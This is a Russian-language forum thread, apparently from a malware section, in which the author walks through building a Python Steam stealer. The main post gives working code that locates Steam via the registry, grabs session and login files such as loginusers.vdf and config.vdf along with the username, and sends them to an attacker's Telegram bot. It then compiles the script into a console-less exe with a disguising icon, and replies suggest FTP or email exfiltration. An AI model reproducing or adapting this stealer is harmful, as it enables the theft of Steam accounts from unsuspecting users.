Загрузка...

Простенький Steam ******* на Python

Тема в разделе Вирусология создана пользователем animatrix 5 янв 2019. 1045 просмотров

  1. animatrix
    animatrix Автор темы 5 янв 2019 45 26 окт 2018
    По мотивам этой темы https://zelenka.guru/threads/748205/, но более приближено к реальному применению, кстати, не так бессмысленно как может показаться, так как скрипт на Python собрать в exe, кроме pyinstaller и cx_freze, есть даже такая штука как nuitka, генерирует код на C на основе скрипта и создает exe, нужна установленная Visual Studuo.

    Сначала получаем токен и id чата из telegram, как описано в этой теме https://zelenka.guru/threads/748205/

    Затем, идем сюда https://www.python.org/downloads/ и скачиваем python версии 3.6.х

    При установке ставим галку

    [IMG]


    Создаем новую папку, например D:/bot и в ней файл bot.py, скрипт будем запускать в виртуальном окружении, так удобнее для дальнейшей сборки

    Открываем bot.py в каком-нибудь продвинутом блокноте и начинаем писать код

    Код

    import telebot
    import os
    import winreg

    Импортируем библиотеки, для работы с ботом, с путями к файлам и реестром

    Код

    bot = telebot.TeleBot("6354ХХХХХ:AAEBZeuDD3LCCpe2s2YLP0HEgХХХХХХХХХ")
    chat_id = 2989ХХХХХ

    Создаем объект для работы с telegram и записываем id чата в переменную

    Код

    files = ["config.vdf", "loginusers.vdf", "DialogConfig.vdf", "fiterlist.vdf"]

    Список файлов которые нужно отослать в телеграм

    Код

    try:
    regpath='Software\\Valve\\Steam'
    root = winreg.OpenKey(winreg.HKEY_CURRENT_USER, regpath, 0)
    steam, _ = winreg.QueryValueEx(root, "SteamPath")
    steam = os.path.join(steam, 'config')
    except:
    exit()

    Пытаемся найти в реестре путь к Steam, если нашли, то дописываем путь к папке config, так как нужные файлы лежат там, если не нашли, тихо выходим

    Код

    username = os.getlogin()
    bot.send_message(chat_id, username)

    Отправляем в бот имя ПК

    Код

    for file in files:
    try:
    doc = open(os.path.join(steam, file), 'rb')
    bot.send_document(chat_id, doc)
    except:
    pass

    Пробуем отправить файлы Steam по одному, если файла нет, ничего не делаем

    Код написан, сохраняем файл и закрываем блокнот, сейчас будем устанавливать виртуальное окружение

    Открываем папку в проводнике зажимаем клавишу SHIFT и кликаем правой кнопкой мыши на свободное место, откроется контекстное меню с дополнительными опциями, нужна строка Открыть окно команд

    [IMG]

    Откроется командная строка в папке, в командной сроке пишем

    python -m venv venv
    venv\scripts\activate

    Тут мы создаем виртуальное окружение и активируем его, теперь командную строку можно закрыть, отрыть, снова написать venv\scripts\activate и снова запустим виртуальное окружение

    [IMG]

    Текст выделенный красным показывает, что мы в виртуальном окружении

    Устанавливаем библиотеку для telegram, пишем в командной строке

    pip install pyTelegramBotAPI

    Все готово, теперь можете написать с командной строке python bot.py и ваши файлы стим загрузятся в канал бота в telegram, если все сделано правильно

    Переходим к созданию exe, пишем в командной строке

    pip install pyinstaller

    Сначала находим в гугле красивую иконку для нашего exe, она должна быть в формате ico, кладем в нашу папку рядом со скриптом, затем пишем в командной строке

    pyinstaller --onefile --noconsole --icon=icon.ico bot.py

    Появятся папки __pycache__, build, dist, в папке dist и лежит наш exe
     
  2. exxxidie
    exxxidie 9 янв 2019 Ебал рот я ваших пастеров 30 8 дек 2018
    animatrix, отличное дополнение) также можно добавить следующее:

    Проверка установлен ли Steam:
    Код

    if os.path.isdir ('C:\\Users\\Public\\Documents\\Steam'): # После добавления переменных
    # Твой код
    Если не установлен отправляем сообщение с текстом 'На ПК не установлен Steam'
    Код

    else:
    bot.send_message(chat_id, 'На ПК не установлен Steam')
     
  3. aladron
    aladron 9 янв 2019 Заблокирован(а) 33 28 июн 2018
    exxxidie, А шо, пути всегда одинаковы?
     
  4. exxxidie
    exxxidie 9 янв 2019 Ебал рот я ваших пастеров 30 8 дек 2018
    aladron, Заметил, что при установке стима всегда создаётся папка в этой директории
     
  5. solo13228
    solo13228 9 янв 2019 10 11 дек 2016
    *** нужен, для работы бота
     
  6. sasamin
    sasamin 11 янв 2019 Заблокирован(а) 0 6 мар 2018
    без *** не интерестно, метод отправки б изменить на FTP или что бы сразу на почту кидал, а в целом неплохо
     
Загрузка...
Top